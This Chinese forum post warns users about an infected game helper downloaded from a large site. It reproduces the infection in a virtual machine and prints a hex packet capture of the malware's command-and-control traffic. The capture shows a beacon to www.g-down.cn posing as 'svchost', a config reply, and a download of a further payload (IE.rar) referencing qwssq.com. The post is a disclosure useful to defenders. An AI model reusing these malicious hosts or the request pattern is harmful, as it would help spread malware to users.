今天想找个辅助软件~呵呵~多数人都会可是偏偏不巧就中招了~恢复系统后制作了本次演示。。
本次操作在 Virtual PC 2007 +瑞星2010  部分在与本机瑞星2009+金山2009
特此声明：本次演示只是为了告诉大家现在网上病毒很多~大型下载网站与最新的杀毒软件并不是万能的，还是请大家要小心尤其是下载辅助工具时。
发次帖没有任何诋毁下载网站与杀毒软件。。。只是用于交流。。。。
校内农村~辅助软件在某个知名大型下载网站下载。。





跟新到最新的瑞星

金山也是最新的



网站下载辅助程序







下载完成



检测了一个所有文件的MD5




扫描病毒


正常运行程序




出现错误







已经中毒


过了会就蓝屏




虚拟机从起时候马上开始抓包




病毒已经添加入服务



还是没有发现病毒

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; TencentTraveler 4.0; vber Embedded Web Browser from: http://bsalsa.com/; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

以下是WPE抓包内容

5  0.0.0.0:1830  :0  31  发送到 
0000  3E E7 01 00 00 01 00 00 00 00 00 00 03 77 77 77    >............www
0010  06 67 2D 64 6F 77 6E 02 63 6E 00 00 01 00 01      .g-down.cn.....
6  :0  0.0.0.0:1830  178  接收到 
0000  3E E7 81 80 00 01 00 01 00 02 00 05 03 77 77 77    >............www
0010  06 67 2D 64 6F 77 6E 02 63 6E 00 00 01 00 01 C0    .g-down.cn......
0020  0C 00 01 00 01 00 00 0C 78 00 04 79 C6 04 BA C0    ........x..y....
0030  10 00 02 00 01 00 00 0C 78 00 13 05 64 6E 73 32    ........x...dns2
0040  39 07 68 69 63 68 69 6E 61 03 63 6F 6D 00 C0 10    9.hichina.com...
0050  00 02 00 01 00 00 0C 78 00 08 05 64 6E 73 33 30    .......x...dns30
0060  C0 41 C0 3B 00 01 00 01 00 00 00 45 00 04 79 C7    .A.;.......E..y.
0070  FE D1 C0 3B 00 01 00 01 00 00 00 45 00 04 DA 1E    ...;.......E....
0080  67 D4 C0 5A 00 01 00 01 00 00 68 1E 00 04 DA 1E    g..Z......h.....
0090  67 60 C0 5A 00 01 00 01 00 00 68 1E 00 04 DA F4    g`.Z......h.....
00A0  93 94 C0 5A 00 01 00 01 00 00 68 1E 00 04 79 C7    ...Z......h...y.
00B0  FE D2                                              ..
7  192.168.1.2:1831  121.198.4.186:80  80  发送 
0000  47 45 54 20 2F 34 2E 61 73 70 20 48 54 54 50 2F    GET /4.asp HTTP/
0010  31 2E 30 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A    1.0..User-Agent:
0020  20 54 65 73 74 0D 0A 48 6F 73 74 3A 20 77 77 77    Test..Host: www
0030  2E 67 2D 64 6F 77 6E 2E 63 6E 0D 0A 50 72 61 67    .g-down.cn..Prag
0040  6D 61 3A 20 6E 6F 2D 63 61 63 68 65 0D 0A 0D 0A    ma: no-cache....
8  121.198.4.186:80  192.168.1.2:1831  327  接收 
0000  48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D    HTTP/1.1 200 OK.
0010  0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F    .Connection: clo
0020  73 65 0D 0A 44 61 74 65 3A 20 53 75 6E 2C 20 32    se..Date: Sun, 2
0030  38 20 4A 75 6E 20 32 30 30 39 20 31 36 3A 30 31    8 Jun 2009 16:01
0040  3A 30 34 20 47 4D 54 0D 0A 53 65 72 76 65 72 3A    :04 GMT..Server:
0050  20 4D 69 63 72 6F 73 6F 66 74 2D 49 49 53 2F 36    Microsoft-IIS/6
0060  2E 30 0D 0A 58 2D 50 6F 77 65 72 65 64 2D 42 79    .0..X-Powered-By
0070  3A 20 41 53 50 2E 4E 45 54 0D 0A 58 2D 55 41 2D    : ASP.NET..X-UA-
0080  43 6F 6D 70 61 74 69 62 6C 65 3A 20 49 45 3D 45    Compatible: IE=E
0090  6D 75 6C 61 74 65 49 45 37 0D 0A 43 6F 6E 74 65    mulateIE7..Conte
00A0  6E 74 2D 4C 65 6E 67 74 68 3A 20 33 34 0D 0A 43    nt-Length: 34..C
00B0  6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 74 65 78    ontent-Type: tex
00C0  74 2F 68 74 6D 6C 0D 0A 53 65 74 2D 43 6F 6F 6B    t/html..Set-Cook
00D0  69 65 3A 20 41 53 50 53 45 53 53 49 4F 4E 49 44    ie: ASPSESSIONID
00E0  51 51 41 52 52 41 41 53 3D 4D 4D 50 50 4E 4A 4D    QQARRAAS=MMPPNJM
00F0  44 42 46 46 49 46 46 50 43 43 46 4C 4C 47 41 44    DBFFIFFPCCFLLGAD
0100  50 3B 20 70 61 74 68 3D 2F 0D 0A 43 61 63 68 65    P; path=/..Cache
0110  2D 63 6F 6E 74 72 6F 6C 3A 20 70 72 69 76 61 74    -control: privat
0120  65 0D 0A 0D 0A 31 2A 32 2A 36 30 30 30 30 2A 32    e....1*2*60000*2
0130  35 30 30 30 2A 67 2D 64 6F 77 6E 2A 71 77 73 73    5000*g-down*qwss
0140  71 2A 30 2A 26 0D 0A                              q*0*&..
9  192.168.1.2:1832  121.198.4.186:80  120  发送 
0000  47 45 54 20 2F 34 2E 61 73 70 20 48 54 54 50 2F    GET /4.asp HTTP/
0010  31 2E 30 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A    1.0..User-Agent:
0020  20 73 76 63 68 6F 73 74 0D 0A 48 6F 73 74 3A 20    svchost..Host:
0030  77 77 77 2E 67 2D 64 6F 77 6E 2E 63 6E 0D 0A 43    www.g-down.cn..C
0040  6F 6F 6B 69 65 3A 20 41 53 50 53 45 53 53 49 4F    ookie: ASPSESSIO
0050  4E 49 44 51 51 41 52 52 41 41 53 3D 4D 4D 50 50    NIDQQARRAAS=MMPP
0060  4E 4A 4D 44 42 46 46 49 46 46 50 43 43 46 4C 4C    NJMDBFFIFFPCCFLL
0070  47 41 44 50 0D 0A 0D 0A                            GADP....
10  121.198.4.186:80  192.168.1.2:1832  260  接收 
0000  48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D    HTTP/1.1 200 OK.
0010  0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F    .Connection: clo
0020  73 65 0D 0A 44 61 74 65 3A 20 53 75 6E 2C 20 32    se..Date: Sun, 2
0030  38 20 4A 75 6E 20 32 30 30 39 20 31 36 3A 30 31    8 Jun 2009 16:01
0040  3A 30 38 20 47 4D 54 0D 0A 53 65 72 76 65 72 3A    :08 GMT..Server:
0050  20 4D 69 63 72 6F 73 6F 66 74 2D 49 49 53 2F 36    Microsoft-IIS/6
0060  2E 30 0D 0A 58 2D 50 6F 77 65 72 65 64 2D 42 79    .0..X-Powered-By
0070  3A 20 41 53 50 2E 4E 45 54 0D 0A 58 2D 55 41 2D    : ASP.NET..X-UA-
0080  43 6F 6D 70 61 74 69 62 6C 65 3A 20 49 45 3D 45    Compatible: IE=E
0090  6D 75 6C 61 74 65 49 45 37 0D 0A 43 6F 6E 74 65    mulateIE7..Conte
00A0  6E 74 2D 4C 65 6E 67 74 68 3A 20 33 34 0D 0A 43    nt-Length: 34..C
00B0  6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 74 65 78    ontent-Type: tex
00C0  74 2F 68 74 6D 6C 0D 0A 43 61 63 68 65 2D 63 6F    t/html..Cache-co
00D0  6E 74 72 6F 6C 3A 20 70 72 69 76 61 74 65 0D 0A    ntrol: private..
00E0  0D 0A 31 2A 32 2A 36 30 30 30 30 2A 32 35 30 30    ..1*2*60000*2500
00F0  30 2A 67 2D 64 6F 77 6E 2A 71 77 73 73 71 2A 30    0*g-down*qwssq*0
0100  2A 26 0D 0A                                        *&..

11  192.168.1.2:1833  121.198.4.186:80  127  发送 
0000  47 45 54 20 2F 34 46 69 6C 65 2F 49 45 2E 72 61    GET /4File/IE.ra
0010  72 20 48 54 54 50 2F 31 2E 30 0D 0A 55 73 65 72    r HTTP/1.0..User
0020  2D 41 67 65 6E 74 3A 20 73 76 63 68 6F 73 74 0D    -Agent: svchost.
0030  0A 48 6F 73 74 3A 20 77 77 77 2E 67 2D 64 6F 77    .Host: www.g-dow
0040  6E 2E 63 6E 0D 0A 43 6F 6F 6B 69 65 3A 20 41 53    n.cn..Cookie: AS
0050  50 53 45 53 53 49 4F 4E 49 44 51 51 41 52 52 41    PSESSIONIDQQARRA
0060  41 53 3D 4D 4D 50 50 4E 4A 4D 44 42 46 46 49 46    AS=MMPPNJMDBFFIF
0070  46 50 43 43 46 4C 4C 47 41 44 50 0D 0A 0D 0A      FPCCFLLGADP....

12  121.198.4.186:80  192.168.1.2:1833  2896  接收 
0000  48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D    HTTP/1.1 200 OK.
0010  0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A    .Content-Length:
0020  20 32 38 36 30 0D 0A 43 6F 6E 74 65 6E 74 2D 54    2860..Content-T
0030  79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E    ype: application
0040  2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 0D 0A 4C    /octet-stream..L
0050  61 73 74 2D 4D 6F 64 69 66 69 65 64 3A 20 54 68    ast-Modified: Th
0060  75 2C 20 32 35 20 4A 75 6E 20 32 30 30 39 20 31    u, 25 Jun 2009 1
0070  34 3A 34 30 3A 33 39 20 47 4D 54 0D 0A 41 63 63    4:40:39 GMT..Acc
0080  65 70 74 2D 52 61 6E 67 65 73 3A 20 62 79 74 65    ept-Ranges: byte
0090  73 0D 0A 45 54 61 67 3A 20 22 66 36 62 62 62 66    s..ETag: "f6bbbf
00A0  65 38 61 32 66 35 63 39 31 3A 61 36 66 32 36 22    e8a2f5c91:a6f26"
00B0  0D 0A 53 65 72 76 65 72 3A 20 4D 69 63 72 6F 73    ..Server: Micros
00C0  6F 66 74 2D 49 49 53 2F 36 2E 30 0D 0A 58 2D 50    oft-IIS/6.0..X-P
00D0  6F 77 65 72 65 64 2D 42 79 3A 20 41 53 50 2E 4E    owered-By: ASP.N
00E0  45 54 0D 0A 58 2D 55 41 2D 43 6F 6D 70 61 74 69    ET..X-UA-Compati
00F0  62 6C 65 3A 20 49 45 3D 45 6D 75 6C 61 74 65 49    ble: IE=EmulateI
0100  45 37 0D 0A 44 61 74 65 3A 20 53 75 6E 2C 20 32    E7..Date: Sun, 2
0110  38 20 4A 75 6E 20 32 30 30 39 20 31 36 3A 30 31    8 Jun 2009 16:01
0120  3A 30 38 20 47 4D 54 0D 0A 43 6F 6E 6E 65 63 74    :08 GMT..Connect
0130  69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A 0D 0A 31 41    ion: close....1A
0140  41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 00    AAAAAA..........
0150  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0160  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0170  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0180  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0190  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
01A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
01B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
01C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
01D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
01E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
01F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0200  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0210  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0220  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0230  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0240  00 00 77 00 77 00 77 00 2E 00 71 00 77 00 73 00    ..w.w.w...q.w.s.
0250  73 00 71 00 2E 00 63 00 6F 00 6D 00 00 00 00 00    s.q...c.o.m.....
0260  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0270  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0280  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0290  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
02A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
02B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
02C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
02D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
02E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
02F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0300  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0310  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0320  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0330  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0340  00 00 00 00 00 00 77 00 77 00 77 00 2E 00 71 00    ......w.w.w...q.
0350  77 00 73 00 73 00 71 00 2E 00 63 00 6F 00 6D 00    w.s.s.q...c.o.m.
0360  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0370  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0380  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0390  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
03A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
03B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
03C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
03D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
03E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
03F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0400  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0410  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0420  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0430  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0440  00 00 00 00 00 00 00 00 00 00 77 00 77 00 77 00    ..........w.w.w.
0450  2E 00 71 00 77 00 73 00 73 00 71 00 2E 00 63 00    ..q.w.s.s.q...c.
0460  6F 00 6D 00 00 00 00 00 00 00 00 00 00 00 00 00    o.m.............
0470  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0480  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0490  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
04A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
04B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
04C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
04D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
04E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
04F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0500  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0510  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0520  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0530  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0540  00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 00    ..............w.
0550  77 00 77 00 2E 00 71 00 77 00 73 00 73 00 71 00    w.w...q.w.s.s.q.
0560  2E 00 63 00 6F 00 6D 00 00 00 00 00 00 00 00 00    ..c.o.m.........
0570  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0580  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0590  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
05A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
05B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
05C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
05D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
05E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
05F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0600  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0610  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0620  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0630  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0640  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0650  00 00 77 00 77 00 77 00 2E 00 71 00 77 00 73 00    ..w.w.w...q.w.s.
0660  73 00 71 00 2E 00 63 00 6F 00 6D 00 00 00 00 00    s.q...c.o.m.....
0670  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0680  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0690  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
06A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
06B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
06C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
06D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
06E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
06F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0700  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0710  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0720  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0730  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0740  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0750  00 00 00 00 00 00 77 00 77 00 77 00 2E 00 71 00    ......w.w.w...q.
0760  77 00 73 00 73 00 71 00 2E 00 63 00 6F 00 6D 00    w.s.s.q...c.o.m.
0770  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0780  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0790  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
07A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
07B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
07C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
07D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
07E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
07F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0800  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0810  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0820  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0830  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0840  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0850  00 00 00 00 00 00 00 00 00 00 77 00 77 00 77 00    ..........w.w.w.
0860  2E 00 71 00 77 00 73 00 73 00 71 00 2E 00 63 00    ..q.w.s.s.q...c.
0870  6F 00 6D 00 00 00 00 00 00 00 00 00 00 00 00 00    o.m.............
0880  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0890  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
08A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
08B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
08C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
08D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
08E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
08F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0900  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0910  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0920  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0930  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0940  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0950  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0960  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0970  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0980  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0990  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
09A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
09B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
09C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
09D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
09E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
09F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0A00  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0A10  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0A20  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0A30  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0A40  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0A50  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0A60  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0A70  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0A80  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0A90  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0AA0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0AB0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0AC0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0AD0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0AE0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0AF0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0B00  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0B10  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0B20  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0B30  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0B40  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................

次病毒已报告
http://bbs.ikaka.com/showtopic-8637331.aspx